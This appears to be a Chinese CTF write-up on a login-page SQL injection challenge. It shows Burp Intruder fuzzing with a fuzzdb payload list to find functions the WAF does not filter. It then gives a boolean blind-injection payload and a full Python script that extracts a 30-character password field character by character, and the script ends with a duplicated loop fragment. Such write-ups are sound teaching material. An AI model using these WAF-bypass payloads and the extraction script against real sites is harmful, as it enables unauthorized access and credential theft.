利用 Burpsuite Fuzz 实现 SQL 注入
0x01 注入前分析
是个典型的登录框SQL注入题
在源码上还有hint
首先进行注入前的尝试,观察是否有报错情况,或者是有waf:
正常的输入,分2种情况:
用户名正确,显示密码错误
password error
用户名错误,显示无此用户
no such user!
猜测验证用户名和验证密码是分步进行的,语句如下:
select uname from user where uname='xxx'select uname,pwd from user where uname='xxx' and pwd='xxx'
存在注入的情况,显示naive
,证明是有waf的:
简单测试了一下waf,发现过滤了or and union select from limit 以及空格,注释符
,妈耶waf还挺严,之后不想通过手动测试,于是采用burpsuite进行Fuzz测试。
0x02 Burpsuite Fuzzing
Burpsuite Fuzzing主要是通过Burpsuite Intruder模块
,这好比是一把枪,通过特定设置把子弹(payload)
射向目标(target-site)
。
可是子弹从哪来?我们在这之前要做一些准备工作:
Fuzzdb: https://github.com/fuzzdb-pro...
这是一个fuzz测试的payload库,上面有大量的测试payload,非常实用,我们本次sql注入就用到它。
我们使用这个payload就可以了 /attack/sql-injection/detect/xplatform.txt
然后打开Burpsuite,可以先开代理抓一个正常请求包,然后转到Intruder模块,进行如下操作:
选中positions选项卡,选中uname的值部分
admin
,然后点击右侧的add§
,这样uname的值就会被标记为payload的加载位置,其余部分就不需要标记了。选中payloads选项卡,点击图中所示的按钮加载刚刚提到的
xplatform.txt
,这样payload就被加载进去了。选中options选项卡,设置请求线程数、重试次数、超时时间等等信息,不一一列举了。
最后点击上方菜单
Intruder -> Start attack
,启动!
等待fuzz完成后,得到如下结果:
根据返回包长度可以分辨不同的情况:202是password error
,200是no such user!
,还有189是naive
。
因此可以发现有可以利用的地方,第42个请求包的返回用户名正确,证明已经绕过waf。
假如并没有可以利用的payload,可以再观察189的包看看哪些字段是被ban掉的,从而找到可以利用的字段。结合前期手测的情况和fuzz的结果,可以判断:
可使用:
# || && , ascii() left() right() length()
不可使用:
空格 -- or and union select from limit mid() substr() substring()
构造payload如下,xxx为payload,当xxx为真时返回password error
,而xxx为假时返回no such user
,这就构成了一个bool型注入。
uname='||xxx||'&pwd=123
下一步就可以开始实施注入。
0x03 Blind Injection的自动化注入
这一步开始,我们就通过bool盲注进行爆破pwd
字段,脚本跑起来
通过
length()
获得pwd
字段长度最终获得
length(pwd)=30
当你把握不准的时候,想到hint的提示,通过
length(uname)=5
验证你的payload,下面也一样。- for i in xrange(1,127):
- postdata = {
- 'uname':''||length(pwd)='+str(i)+'||'',
- 'pwd':'123'
- }
- print i,postdata
- r = s.post(url=url,headers=header,data=postdata)
- if 'password' in r.text:
- print 'get length!'
- return
由于
mid() substr()
被ban了,只能通过left() right()
进行字符串截断,然后逐位爆破30位的pwd
最后得到30位密码,登录进去,getflag
PS:没有写多线程,爆破速度比较慢,之后考虑改进一下
PPS:之后还要总结下各类函数组合使用方式,比如
mid()=substr()=right(left())
完整脚本如下:
- #coding=utf-8
- import requests
- s = requests.session()
- s.keep_alive = False
- url = 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/'
- header = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
- 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
- 'Accept-Encoding': 'gzip, deflate',
- 'Referer': 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/',
- 'Content-Type': 'application/x-www-form-urlencoded'
- }
- def get_length():
- for i in xrange(1,127):
- postdata = {
- 'uname':''||length(pwd)='+str(i)+'||'',
- 'pwd':'123'
- }
- print i,postdata
- r = s.post(url=url,headers=header,data=postdata)
- if 'password' in r.text:
- print 'get length!'
- return
- def get_pwd_char():
- pwd = ''
- for i in xrange(0,30):
- for c in xrange(0x20,0x7f):
- postdata = {
- 'uname':''||(ascii(right(left(pwd,'+str(i+1)+'),1))='+str(c)+')||'',
- 'pwd':'123'
- }
- r = s.post(url=url,headers=header,data=postdata)
- if 'password' in r.text:
- pwd += chr(c)
- print i,pwd
- continue
- if __name__ == '__main__':
- get_length() #length is 30
- get_pwd_char()
- pwd = ''
- for i in xrange(0,30):
- for c in xrange(0x20,0x7f):
- postdata = {
- 'uname':''||(ascii(right(left(pwd,'+str(i+1)+'),1))='+str(c)+')||'',
- 'pwd':'123'
- }
- r = s.post(url=url,headers=header,data=postdata)
- if 'password' in r.text:
- pwd += chr(c)
- print i,pwd
- continue
0x04 总结一下
利用burpsuite进行fuzz测试,大大提高了测试效率,也能快速定位注入点,这方面在平时的赛题也比较实用,关键就在于找到好用的fuzz payload。
灵活使用各类sql函数,找到没有被ban的函数进行构造从而实现爆破,如果遇到其他类型waf还要进行改写。
据说bugkuCTF有类似的一道题 SQL注入2,过去比较一下区别